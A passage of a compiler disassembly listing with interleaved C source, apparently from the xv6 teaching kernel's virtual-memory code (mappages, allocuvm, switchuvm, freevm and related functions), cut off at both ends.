c0 xor %eax,%eax } 80106735: 5b pop %ebx 80106736: 5e pop %esi 80106737: 5f pop %edi 80106738: 5d pop %ebp 80106739: c3 ret 8010673a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106740 <mappages>: // Create PTEs for virtual addresses starting at va that refer to // physical addresses starting at pa. va and size might not // be page-aligned. static int mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm) { 80106740: 55 push %ebp 80106741: 89 e5 mov %esp,%ebp 80106743: 57 push %edi 80106744: 56 push %esi 80106745: 53 push %ebx char *a, *last; pte_t *pte; a = (char*)PGROUNDDOWN((uint)va); 80106746: 89 d3 mov %edx,%ebx 80106748: 81 e3 00 f0 ff ff and $0xfffff000,%ebx { 8010674e: 83 ec 1c sub $0x1c,%esp 80106751: 89 45 e4 mov %eax,-0x1c(%ebp) last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 80106754: 8d 44 0a ff lea -0x1(%edx,%ecx,1),%eax 80106758: 8b 7d 08 mov 0x8(%ebp),%edi 8010675b: 25 00 f0 ff ff and $0xfffff000,%eax 80106760: 89 45 e0 mov %eax,-0x20(%ebp) for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; if(*pte & PTE_P) panic("remap"); *pte = pa | perm | PTE_P; 80106763: 8b 45 0c mov 0xc(%ebp),%eax 80106766: 29 df sub %ebx,%edi 80106768: 83 c8 01 or $0x1,%eax 8010676b: 89 45 dc mov %eax,-0x24(%ebp) 8010676e: eb 15 jmp 80106785 <mappages+0x45> if(*pte & PTE_P) 80106770: f6 00 01 testb $0x1,(%eax) 80106773: 75 45 jne 801067ba <mappages+0x7a> *pte = pa | perm | PTE_P; 80106775: 0b 75 dc or -0x24(%ebp),%esi if(a == last) 80106778: 3b 5d e0 cmp -0x20(%ebp),%ebx *pte = pa | perm | PTE_P; 8010677b: 89 30 mov %esi,(%eax) if(a == last) 8010677d: 74 31 je 801067b0 <mappages+0x70> break; a += PGSIZE; 8010677f: 81 c3 00 10 00 00 add $0x1000,%ebx if((pte = walkpgdir(pgdir, a, 1)) == 0) 80106785: 8b 45 e4 mov -0x1c(%ebp),%eax 80106788: b9 01 00 00 00 mov $0x1,%ecx 8010678d: 89 da mov %ebx,%edx 8010678f: 8d 34 3b lea (%ebx,%edi,1),%esi 80106792: e8 29 ff ff ff call 801066c0 <walkpgdir> 80106797: 85 c0 test %eax,%eax 80106799: 75 d5 jne 80106770 <mappages+0x30> pa += PGSIZE; } return 0; } 8010679b: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 8010679e: b8 ff ff ff ff mov $0xffffffff,%eax } 801067a3: 5b pop %ebx 801067a4: 5e pop %esi 801067a5: 5f pop %edi 801067a6: 5d pop %ebp 801067a7: c3 ret 801067a8: 90 nop 801067a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801067b0: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 801067b3: 31 c0 xor %eax,%eax } 801067b5: 5b pop %ebx 801067b6: 5e pop %esi 801067b7: 5f pop %edi 801067b8: 5d pop %ebp 801067b9: c3 ret panic("remap"); 801067ba: 83 ec 0c sub $0xc,%esp 801067bd: 68 34 79 10 80 push $0x80107934 801067c2: e8 c9 9b ff ff call 80100390 <panic> 801067c7: 89 f6 mov %esi,%esi 801067c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801067d0 <deallocuvm.part.0>: // Deallocate user pages to bring the process size from oldsz to // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 801067d0: 55 push %ebp 801067d1: 89 e5 mov %esp,%ebp 801067d3: 57 push %edi 801067d4: 56 push %esi 801067d5: 53 push %ebx uint a, pa; if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); 801067d6: 8d 99 ff 0f 00 00 lea 0xfff(%ecx),%ebx deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 801067dc: 89 c7 mov %eax,%edi a = PGROUNDUP(newsz); 801067de: 81 e3 00 f0 ff ff and $0xfffff000,%ebx deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 801067e4: 83 ec 1c sub $0x1c,%esp 801067e7: 89 4d e0 mov %ecx,-0x20(%ebp) for(; a < oldsz; a += PGSIZE){ 801067ea: 39 d3 cmp %edx,%ebx 801067ec: 73 66 jae 80106854 <deallocuvm.part.0+0x84> 801067ee: 89 d6 mov %edx,%esi 801067f0: eb 3d jmp 8010682f <deallocuvm.part.0+0x5f> 801067f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi pte = walkpgdir(pgdir, (char*)a, 0); if(!pte) a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; else if((*pte & PTE_P) != 0){ 801067f8: 8b 10 mov (%eax),%edx 801067fa: f6 c2 01 test $0x1,%dl 801067fd: 74 26 je 80106825 <deallocuvm.part.0+0x55> pa = PTE_ADDR(*pte); if(pa == 0) 801067ff: 81 e2 00 f0 ff ff and $0xfffff000,%edx 80106805: 74 58 je 8010685f <deallocuvm.part.0+0x8f> panic("kfree"); char *v = P2V(pa); kfree(v); 80106807: 83 ec 0c sub $0xc,%esp char *v = P2V(pa); 8010680a: 81 c2 00 00 00 80 add $0x80000000,%edx 80106810: 89 45 e4 mov %eax,-0x1c(%ebp) kfree(v); 80106813: 52 push %edx 80106814: e8 f7 ba ff ff call 80102310 <kfree> *pte = 0; 80106819: 8b 45 e4 mov -0x1c(%ebp),%eax 8010681c: 83 c4 10 add $0x10,%esp 8010681f: c7 00 00 00 00 00 movl $0x0,(%eax) for(; a < oldsz; a += PGSIZE){ 80106825: 81 c3 00 10 00 00 add $0x1000,%ebx 8010682b: 39 f3 cmp %esi,%ebx 8010682d: 73 25 jae 80106854 <deallocuvm.part.0+0x84> pte = walkpgdir(pgdir, (char*)a, 0); 8010682f: 31 c9 xor %ecx,%ecx 80106831: 89 da mov %ebx,%edx 80106833: 89 f8 mov %edi,%eax 80106835: e8 86 fe ff ff call 801066c0 <walkpgdir> if(!pte) 8010683a: 85 c0 test %eax,%eax 8010683c: 75 ba jne 801067f8 <deallocuvm.part.0+0x28> a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; 8010683e: 81 e3 00 00 c0 ff and $0xffc00000,%ebx 80106844: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx for(; a < oldsz; a += PGSIZE){ 8010684a: 81 c3 00 10 00 00 add $0x1000,%ebx 80106850: 39 f3 cmp %esi,%ebx 80106852: 72 db jb 8010682f <deallocuvm.part.0+0x5f> } } return newsz; } 80106854: 8b 45 e0 mov -0x20(%ebp),%eax 80106857: 8d 65 f4 lea -0xc(%ebp),%esp 8010685a: 5b pop %ebx 8010685b: 5e pop %esi 8010685c: 5f pop %edi 8010685d: 5d pop %ebp 8010685e: c3 ret panic("kfree"); 8010685f: 83 ec 0c sub $0xc,%esp 80106862: 68 66 72 10 80 push $0x80107266 80106867: e8 24 9b ff ff call 80100390 <panic> 8010686c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106870 <seginit>: { 80106870: 55 push %ebp 80106871: 89 e5 mov %esp,%ebp 80106873: 83 ec 18 sub $0x18,%esp c = &cpus[cpuid()]; 80106876: e8 45 cf ff ff call 801037c0 <cpuid> 8010687b: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax pd[0] = size-1; 80106881: ba 2f 00 00 00 mov $0x2f,%edx 80106886: 66 89 55 f2 mov %dx,-0xe(%ebp) c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 8010688a: c7 80 f8 27 11 80 ff movl $0xffff,-0x7feed808(%eax) 80106891: ff 00 00 80106894: c7 80 fc 27 11 80 00 movl $0xcf9a00,-0x7feed804(%eax) 8010689b: 9a cf 00 c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 8010689e: c7 80 00 28 11 80 ff movl $0xffff,-0x7feed800(%eax) 801068a5: ff 00 00 801068a8: c7 80 04 28 11 80 00 movl $0xcf9200,-0x7feed7fc(%eax) 801068af: 92 cf 00 c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 801068b2: c7 80 08 28 11 80 ff movl $0xffff,-0x7feed7f8(%eax) 801068b9: ff 00 00 801068bc: c7 80 0c 28 11 80 00 movl $0xcffa00,-0x7feed7f4(%eax) 801068c3: fa cf 00 c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 801068c6: c7 80 10 28 11 80 ff movl $0xffff,-0x7feed7f0(%eax) 801068cd: ff 00 00 801068d0: c7 80 14 28 11 80 00 movl $0xcff200,-0x7feed7ec(%eax) 801068d7: f2 cf 00 lgdt(c->gdt, sizeof(c->gdt)); 801068da: 05 f0 27 11 80 add $0x801127f0,%eax pd[1] = (uint)p; 801068df: 66 89 45 f4 mov %ax,-0xc(%ebp) pd[2] = (uint)p >> 16; 801068e3: c1 e8 10 shr $0x10,%eax 801068e6: 66 89 45 f6 mov %ax,-0xa(%ebp) asm volatile("lgdt (%0)" : : "r" (pd)); 801068ea: 8d 45 f2 lea -0xe(%ebp),%eax 801068ed: 0f 01 10 lgdtl (%eax) } 801068f0: c9 leave 801068f1: c3 ret 801068f2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801068f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106900 <switchkvm>: lcr3(V2P(kpgdir)); // switch to the kernel page table 80106900: a1 a4 54 11 80 mov 0x801154a4,%eax { 80106905: 55 push %ebp 80106906: 89 e5 mov %esp,%ebp lcr3(V2P(kpgdir)); // switch to the kernel page table 80106908: 05 00 00 00 80 add $0x80000000,%eax } static inline void lcr3(uint val) { asm volatile("movl %0,%%cr3" : : "r" (val)); 8010690d: 0f 22 d8 mov %eax,%cr3 } 80106910: 5d pop %ebp 80106911: c3 ret 80106912: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106919: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106920 <switchuvm>: { 80106920: 55 push %ebp 80106921: 89 e5 mov %esp,%ebp 80106923: 57 push %edi 80106924: 56 push %esi 80106925: 53 push %ebx 80106926: 83 ec 1c sub $0x1c,%esp 80106929: 8b 5d 08 mov 0x8(%ebp),%ebx if(p == 0) 8010692c: 85 db test %ebx,%ebx 8010692e: 0f 84 cb 00 00 00 je 801069ff <switchuvm+0xdf> if(p->kstack == 0) 80106934: 8b 43 08 mov 0x8(%ebx),%eax 80106937: 85 c0 test %eax,%eax 80106939: 0f 84 da 00 00 00 je 80106a19 <switchuvm+0xf9> if(p->pgdir == 0) 8010693f: 8b 43 04 mov 0x4(%ebx),%eax 80106942: 85 c0 test %eax,%eax 80106944: 0f 84 c2 00 00 00 je 80106a0c <switchuvm+0xec> pushcli(); 8010694a: e8 f1 d9 ff ff call 80104340 <pushcli> mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts, 8010694f: e8 ec cd ff ff call 80103740 <mycpu> 80106954: 89 c6 mov %eax,%esi 80106956: e8 e5 cd ff ff call 80103740 <mycpu> 8010695b: 89 c7 mov %eax,%edi 8010695d: e8 de cd ff ff call 80103740 <mycpu> 80106962: 89 45 e4 mov %eax,-0x1c(%ebp) 80106965: 83 c7 08 add $0x8,%edi 80106968: e8 d3 cd ff ff call 80103740 <mycpu> 8010696d: 8b 4d e4 mov -0x1c(%ebp),%ecx 80106970: 83 c0 08 add $0x8,%eax 80106973: ba 67 00 00 00 mov $0x67,%edx 80106978: c1 e8 18 shr $0x18,%eax 8010697b: 66 89 96 98 00 00 00 mov %dx,0x98(%esi) 80106982: 66 89 be 9a 00 00 00 mov %di,0x9a(%esi) 80106989: 88 86 9f 00 00 00 mov %al,0x9f(%esi) mycpu()->ts.iomb = (ushort) 0xFFFF; 8010698f: bf ff ff ff ff mov $0xffffffff,%edi mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts, 80106994: 83 c1 08 add $0x8,%ecx 80106997: c1 e9 10 shr $0x10,%ecx 8010699a: 88 8e 9c 00 00 00 mov %cl,0x9c(%esi) 801069a0: b9 99 40 00 00 mov $0x4099,%ecx 801069a5: 66 89 8e 9d 00 00 00 mov %cx,0x9d(%esi) mycpu()->ts.ss0 = SEG_KDATA << 3; 801069ac: be 10 00 00 00 mov $0x10,%esi mycpu()->gdt[SEG_TSS].s = 0; 801069b1: e8 8a cd ff ff call 80103740 <mycpu> 801069b6: 80 a0 9d 00 00 00 ef andb $0xef,0x9d(%eax) mycpu()->ts.ss0 = SEG_KDATA << 3; 801069bd: e8 7e cd ff ff call 80103740 <mycpu> 801069c2: 66 89 70 10 mov %si,0x10(%eax) mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE; 801069c6: 8b 73 08 mov 0x8(%ebx),%esi 801069c9: e8 72 cd ff ff call 80103740 <mycpu> 801069ce: 81 c6 00 10 00 00 add $0x1000,%esi 801069d4: 89 70 0c mov %esi,0xc(%eax) mycpu()->ts.iomb = (ushort) 0xFFFF; 801069d7: e8 64 cd ff ff call 80103740 <mycpu> 801069dc: 66 89 78 6e mov %di,0x6e(%eax) asm volatile("ltr %0" : : "r" (sel)); 801069e0: b8 28 00 00 00 mov $0x28,%eax 801069e5: 0f 00 d8 ltr %ax lcr3(V2P(p->pgdir)); // switch to process's address space 801069e8: 8b 43 04 mov 0x4(%ebx),%eax 801069eb: 05 00 00 00 80 add $0x80000000,%eax asm volatile("movl %0,%%cr3" : : "r" (val)); 801069f0: 0f 22 d8 mov %eax,%cr3 } 801069f3: 8d 65 f4 lea -0xc(%ebp),%esp 801069f6: 5b pop %ebx 801069f7: 5e pop %esi 801069f8: 5f pop %edi 801069f9: 5d pop %ebp popcli(); 801069fa: e9 81 d9 ff ff jmp 80104380 <popcli> panic("switchuvm: no process"); 801069ff: 83 ec 0c sub $0xc,%esp 80106a02: 68 3a 79 10 80 push $0x8010793a 80106a07: e8 84 99 ff ff call 80100390 <panic> panic("switchuvm: no pgdir"); 80106a0c: 83 ec 0c sub $0xc,%esp 80106a0f: 68 65 79 10 80 push $0x80107965 80106a14: e8 77 99 ff ff call 80100390 <panic> panic("switchuvm: no kstack"); 80106a19: 83 ec 0c sub $0xc,%esp 80106a1c: 68 50 79 10 80 push $0x80107950 80106a21: e8 6a 99 ff ff call 80100390 <panic> 80106a26: 8d 76 00 lea 0x0(%esi),%esi 80106a29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106a30 <inituvm>: { 80106a30: 55 push %ebp 80106a31: 89 e5 mov %esp,%ebp 80106a33: 57 push %edi 80106a34: 56 push %esi 80106a35: 53 push %ebx 80106a36: 83 ec 1c sub $0x1c,%esp 80106a39: 8b 75 10 mov 0x10(%ebp),%esi 80106a3c: 8b 45 08 mov 0x8(%ebp),%eax 80106a3f: 8b 7d 0c mov 0xc(%ebp),%edi if(sz >= PGSIZE) 80106a42: 81 fe ff 0f 00 00 cmp $0xfff,%esi { 80106a48: 89 45 e4 mov %eax,-0x1c(%ebp) if(sz >= PGSIZE) 80106a4b: 77 49 ja 80106a96 <inituvm+0x66> mem = kalloc(); 80106a4d: e8 6e ba ff ff call 801024c0 <kalloc> memset(mem, 0, PGSIZE); 80106a52: 83 ec 04 sub $0x4,%esp mem = kalloc(); 80106a55: 89 c3 mov %eax,%ebx memset(mem, 0, PGSIZE); 80106a57: 68 00 10 00 00 push $0x1000 80106a5c: 6a 00 push $0x0 80106a5e: 50 push %eax 80106a5f: e8 bc da ff ff call 80104520 <memset> mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U); 80106a64: 58 pop %eax 80106a65: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80106a6b: b9 00 10 00 00 mov $0x1000,%ecx 80106a70: 5a pop %edx 80106a71: 6a 06 push $0x6 80106a73: 50 push %eax 80106a74: 31 d2 xor %edx,%edx 80106a76: 8b 45 e4 mov -0x1c(%ebp),%eax 80106a79: e8 c2 fc ff ff call 80106740 <mappages> memmove(mem, init, sz); 80106a7e: 89 75 10 mov %esi,0x10(%ebp) 80106a81: 89 7d 0c mov %edi,0xc(%ebp) 80106a84: 83 c4 10 add $0x10,%esp 80106a87: 89 5d 08 mov %ebx,0x8(%ebp) } 80106a8a: 8d 65 f4 lea -0xc(%ebp),%esp 80106a8d: 5b pop %ebx 80106a8e: 5e pop %esi 80106a8f: 5f pop %edi 80106a90: 5d pop %ebp memmove(mem, init, sz); 80106a91: e9 3a db ff ff jmp 801045d0 <memmove> panic("inituvm: more than a page"); 80106a96: 83 ec 0c sub $0xc,%esp 80106a99: 68 79 79 10 80 push $0x80107979 80106a9e: e8 ed 98 ff ff call 80100390 <panic> 80106aa3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106aa9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106ab0 <loaduvm>: { 80106ab0: 55 push %ebp 80106ab1: 89 e5 mov %esp,%ebp 80106ab3: 57 push %edi 80106ab4: 56 push %esi 80106ab5: 53 push %ebx 80106ab6: 83 ec 0c sub $0xc,%esp if((uint) addr % PGSIZE != 0) 80106ab9: f7 45 0c ff 0f 00 00 testl $0xfff,0xc(%ebp) 80106ac0: 0f 85 91 00 00 00 jne 80106b57 <loaduvm+0xa7> for(i = 0; i < sz; i += PGSIZE){ 80106ac6: 8b 75 18 mov 0x18(%ebp),%esi 80106ac9: 31 db xor %ebx,%ebx 80106acb: 85 f6 test %esi,%esi 80106acd: 75 1a jne 80106ae9 <loaduvm+0x39> 80106acf: eb 6f jmp 80106b40 <loaduvm+0x90> 80106ad1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106ad8: 81 c3 00 10 00 00 add $0x1000,%ebx 80106ade: 81 ee 00 10 00 00 sub $0x1000,%esi 80106ae4: 39 5d 18 cmp %ebx,0x18(%ebp) 80106ae7: 76 57 jbe 80106b40 <loaduvm+0x90> if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) 80106ae9: 8b 55 0c mov 0xc(%ebp),%edx 80106aec: 8b 45 08 mov 0x8(%ebp),%eax 80106aef: 31 c9 xor %ecx,%ecx 80106af1: 01 da add %ebx,%edx 80106af3: e8 c8 fb ff ff call 801066c0 <walkpgdir> 80106af8: 85 c0 test %eax,%eax 80106afa: 74 4e je 80106b4a <loaduvm+0x9a> pa = PTE_ADDR(*pte); 80106afc: 8b 00 mov (%eax),%eax if(readi(ip, P2V(pa), offset+i, n) != n) 80106afe: 8b 4d 14 mov 0x14(%ebp),%ecx if(sz - i < PGSIZE) 80106b01: bf 00 10 00 00 mov $0x1000,%edi pa = PTE_ADDR(*pte); 80106b06: 25 00 f0 ff ff and $0xfffff000,%eax if(sz - i < PGSIZE) 80106b0b: 81 fe ff 0f 00 00 cmp $0xfff,%esi 80106b11: 0f 46 fe cmovbe %esi,%edi if(readi(ip, P2V(pa), offset+i, n) != n) 80106b14: 01 d9 add %ebx,%ecx 80106b16: 05 00 00 00 80 add $0x80000000,%eax 80106b1b: 57 push %edi 80106b1c: 51 push %ecx 80106b1d: 50 push %eax 80106b1e: ff 75 10 pushl 0x10(%ebp) 80106b21: e8 3a ae ff ff call 80101960 <readi> 80106b26: 83 c4 10 add $0x10,%esp 80106b29: 39 f8 cmp %edi,%eax 80106b2b: 74 ab je 80106ad8 <loaduvm+0x28> } 80106b2d: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 80106b30: b8 ff ff ff ff mov $0xffffffff,%eax } 80106b35: 5b pop %ebx 80106b36: 5e pop %esi 80106b37: 5f pop %edi 80106b38: 5d pop %ebp 80106b39: c3 ret 80106b3a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106b40: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80106b43: 31 c0 xor %eax,%eax } 80106b45: 5b pop %ebx 80106b46: 5e pop %esi 80106b47: 5f pop %edi 80106b48: 5d pop %ebp 80106b49: c3 ret panic("loaduvm: address should exist"); 80106b4a: 83 ec 0c sub $0xc,%esp 80106b4d: 68 93 79 10 80 push $0x80107993 80106b52: e8 39 98 ff ff call 80100390 <panic> panic("loaduvm: addr must be page aligned"); 80106b57: 83 ec 0c sub $0xc,%esp 80106b5a: 68 34 7a 10 80 push $0x80107a34 80106b5f: e8 2c 98 ff ff call 80100390 <panic> 80106b64: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106b6a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106b70 <allocuvm>: { 80106b70: 55 push %ebp 80106b71: 89 e5 mov %esp,%ebp 80106b73: 57 push %edi 80106b74: 56 push %esi 80106b75: 53 push %ebx 80106b76: 83 ec 1c sub $0x1c,%esp if(newsz >= KERNBASE) 80106b79: 8b 7d 10 mov 0x10(%ebp),%edi 80106b7c: 85 ff test %edi,%edi 80106b7e: 0f 88 8e 00 00 00 js 80106c12 <allocuvm+0xa2> if(newsz < oldsz) 80106b84: 3b 7d 0c cmp 0xc(%ebp),%edi 80106b87: 0f 82 93 00 00 00 jb 80106c20 <allocuvm+0xb0> a = PGROUNDUP(oldsz); 80106b8d: 8b 45 0c mov 0xc(%ebp),%eax 80106b90: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80106b96: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; a < newsz; a += PGSIZE){ 80106b9c: 39 5d 10 cmp %ebx,0x10(%ebp) 80106b9f: 0f 86 7e 00 00 00 jbe 80106c23 <allocuvm+0xb3> 80106ba5: 89 7d e4 mov %edi,-0x1c(%ebp) 80106ba8: 8b 7d 08 mov 0x8(%ebp),%edi 80106bab: eb 42 jmp 80106bef <allocuvm+0x7f> 80106bad: 8d 76 00 lea 0x0(%esi),%esi memset(mem, 0, PGSIZE); 80106bb0: 83 ec 04 sub $0x4,%esp 80106bb3: 68 00 10 00 00 push $0x1000 80106bb8: 6a 00 push $0x0 80106bba: 50 push %eax 80106bbb: e8 60 d9 ff ff call 80104520 <memset> if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ 80106bc0: 58 pop %eax 80106bc1: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax 80106bc7: b9 00 10 00 00 mov $0x1000,%ecx 80106bcc: 5a pop %edx 80106bcd: 6a 06 push $0x6 80106bcf: 50 push %eax 80106bd0: 89 da mov %ebx,%edx 80106bd2: 89 f8 mov %edi,%eax 80106bd4: e8 67 fb ff ff call 80106740 <mappages> 80106bd9: 83 c4 10 add $0x10,%esp 80106bdc: 85 c0 test %eax,%eax 80106bde: 78 50 js 80106c30 <allocuvm+0xc0> for(; a < newsz; a += PGSIZE){ 80106be0: 81 c3 00 10 00 00 add $0x1000,%ebx 80106be6: 39 5d 10 cmp %ebx,0x10(%ebp) 80106be9: 0f 86 81 00 00 00 jbe 80106c70 <allocuvm+0x100> mem = kalloc(); 80106bef: e8 cc b8 ff ff call 801024c0 <kalloc> if(mem == 0){ 80106bf4: 85 c0 test %eax,%eax mem = kalloc(); 80106bf6: 89 c6 mov %eax,%esi if(mem == 0){ 80106bf8: 75 b6 jne 80106bb0 <allocuvm+0x40> cprintf("allocuvm out of memory\n"); 80106bfa: 83 ec 0c sub $0xc,%esp 80106bfd: 68 b1 79 10 80 push $0x801079b1 80106c02: e8 59 9a ff ff call 80100660 <cprintf> if(newsz >= oldsz) 80106c07: 83 c4 10 add $0x10,%esp 80106c0a: 8b 45 0c mov 0xc(%ebp),%eax 80106c0d: 39 45 10 cmp %eax,0x10(%ebp) 80106c10: 77 6e ja 80106c80 <allocuvm+0x110> } 80106c12: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80106c15: 31 ff xor %edi,%edi } 80106c17: 89 f8 mov %edi,%eax 80106c19: 5b pop %ebx 80106c1a: 5e pop %esi 80106c1b: 5f pop %edi 80106c1c: 5d pop %ebp 80106c1d: c3 ret 80106c1e: 66 90 xchg %ax,%ax return oldsz; 80106c20: 8b 7d 0c mov 0xc(%ebp),%edi } 80106c23: 8d 65 f4 lea -0xc(%ebp),%esp 80106c26: 89 f8 mov %edi,%eax 80106c28: 5b pop %ebx 80106c29: 5e pop %esi 80106c2a: 5f pop %edi 80106c2b: 5d pop %ebp 80106c2c: c3 ret 80106c2d: 8d 76 00 lea 0x0(%esi),%esi cprintf("allocuvm out of memory (2)\n"); 80106c30: 83 ec 0c sub $0xc,%esp 80106c33: 68 c9 79 10 80 push $0x801079c9 80106c38: e8 23 9a ff ff call 80100660 <cprintf> if(newsz >= oldsz) 80106c3d: 83 c4 10 add $0x10,%esp 80106c40: 8b 45 0c mov 0xc(%ebp),%eax 80106c43: 39 45 10 cmp %eax,0x10(%ebp) 80106c46: 76 0d jbe 80106c55 <allocuvm+0xe5> 80106c48: 89 c1 mov %eax,%ecx 80106c4a: 8b 55 10 mov 0x10(%ebp),%edx 80106c4d: 8b 45 08 mov 0x8(%ebp),%eax 80106c50: e8 7b fb ff ff call 801067d0 <deallocuvm.part.0> kfree(mem); 80106c55: 83 ec 0c sub $0xc,%esp return 0; 80106c58: 31 ff xor %edi,%edi kfree(mem); 80106c5a: 56 push %esi 80106c5b: e8 b0 b6 ff ff call 80102310 <kfree> return 0; 80106c60: 83 c4 10 add $0x10,%esp } 80106c63: 8d 65 f4 lea -0xc(%ebp),%esp 80106c66: 89 f8 mov %edi,%eax 80106c68: 5b pop %ebx 80106c69: 5e pop %esi 80106c6a: 5f pop %edi 80106c6b: 5d pop %ebp 80106c6c: c3 ret 80106c6d: 8d 76 00 lea 0x0(%esi),%esi 80106c70: 8b 7d e4 mov -0x1c(%ebp),%edi 80106c73: 8d 65 f4 lea -0xc(%ebp),%esp 80106c76: 5b pop %ebx 80106c77: 89 f8 mov %edi,%eax 80106c79: 5e pop %esi 80106c7a: 5f pop %edi 80106c7b: 5d pop %ebp 80106c7c: c3 ret 80106c7d: 8d 76 00 lea 0x0(%esi),%esi 80106c80: 89 c1 mov %eax,%ecx 80106c82: 8b 55 10 mov 0x10(%ebp),%edx 80106c85: 8b 45 08 mov 0x8(%ebp),%eax return 0; 80106c88: 31 ff xor %edi,%edi 80106c8a: e8 41 fb ff ff call 801067d0 <deallocuvm.part.0> 80106c8f: eb 92 jmp 80106c23 <allocuvm+0xb3> 80106c91: eb 0d jmp 80106ca0 <deallocuvm> 80106c93: 90 nop 80106c94: 90 nop 80106c95: 90 nop 80106c96: 90 nop 80106c97: 90 nop 80106c98: 90 nop 80106c99: 90 nop 80106c9a: 90 nop 80106c9b: 90 nop 80106c9c: 90 nop 80106c9d: 90 nop 80106c9e: 90 nop 80106c9f: 90 nop 80106ca0 <deallocuvm>: { 80106ca0: 55 push %ebp 80106ca1: 89 e5 mov %esp,%ebp 80106ca3: 8b 55 0c mov 0xc(%ebp),%edx 80106ca6: 8b 4d 10 mov 0x10(%ebp),%ecx 80106ca9: 8b 45 08 mov 0x8(%ebp),%eax if(newsz >= oldsz) 80106cac: 39 d1 cmp %edx,%ecx 80106cae: 73 10 jae 80106cc0 <deallocuvm+0x20> } 80106cb0: 5d pop %ebp 80106cb1: e9 1a fb ff ff jmp 801067d0 <deallocuvm.part.0> 80106cb6: 8d 76 00 lea 0x0(%esi),%esi 80106cb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106cc0: 89 d0 mov %edx,%eax 80106cc2: 5d pop %ebp 80106cc3: c3 ret 80106cc4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106cca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106cd0 <freevm>: // Free a page table and all the physical memory pages // in the user part. void freevm(pde_t *pgdir) { 80106cd0: 55 push %ebp 80106cd1: 89 e5 mov %esp,%ebp 80106cd3: 57 push %edi 80106cd4: 56 push %esi 80106cd5: 53 push %ebx 80106cd6: 83 ec 0c sub $0xc,%esp 80106cd9: 8b 75 08 mov 0x8(%ebp),%esi uint i; if(pgdir == 0) 80106cdc: 85 f6 test %esi,%esi 80106cde: 74 59 je 80106d39 <freevm+0x69> 80106ce0: 31 c9 xor %ecx,%ecx 80106ce2: ba 00 00 00 80 mov $0x80000000,%edx 80106ce7: 89 f0 mov %esi,%eax 80106ce9: e8 e2 fa ff ff call 801067d0 <deallocuvm.part.0> 80106cee: 89 f3 mov %esi,%ebx 80106cf0: 8d be 00 10 00 00 lea 0x1000(%esi),%edi 80106cf6: eb 0f jmp 80106d07 <freevm+0x37> 80106cf8: 90 nop 80106cf9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106d00: 83 c3 04 add $0x4,%ebx panic("freevm: no pgdir"); deallocuvm(pgdir, KERNBASE, 0); for(i = 0; i < NPDENTRIES; i++){ 80106d03: 39 fb cmp %edi,%ebx 80106d05: 74 23 je 80106d2a <freevm+0x5a> if(pgdir[i] & PTE_P){ 80106d07: 8b 03 mov (%ebx),%eax 80106d09: a8 01 test $0x1,%al 80106d0b: 74 f3 je 80106d00 <freevm+0x30> char * v = P2V(PTE_ADDR(pgdir[i])); 80106d0d: 25 00 f0 ff ff and $0xfffff000,%eax kfree(v); 80106d12: 83 ec 0c sub $0xc,%esp 80106d15: 83 c3 04 add $0x4,%ebx char * v = P2V(PTE_ADDR(pgdir[i])); 80106d18: 05 00 00 00 80 add $0x80000000,%eax kfree(v); 80106d1d: 50 push %eax 80106d1e: e8 ed b5 ff ff call 80102310 <kfree> 80106d23: 83 c4 10 add $0x10,%esp for(i = 0; i < NPDENTRIES; i++){ 80106d26: 39 fb cmp 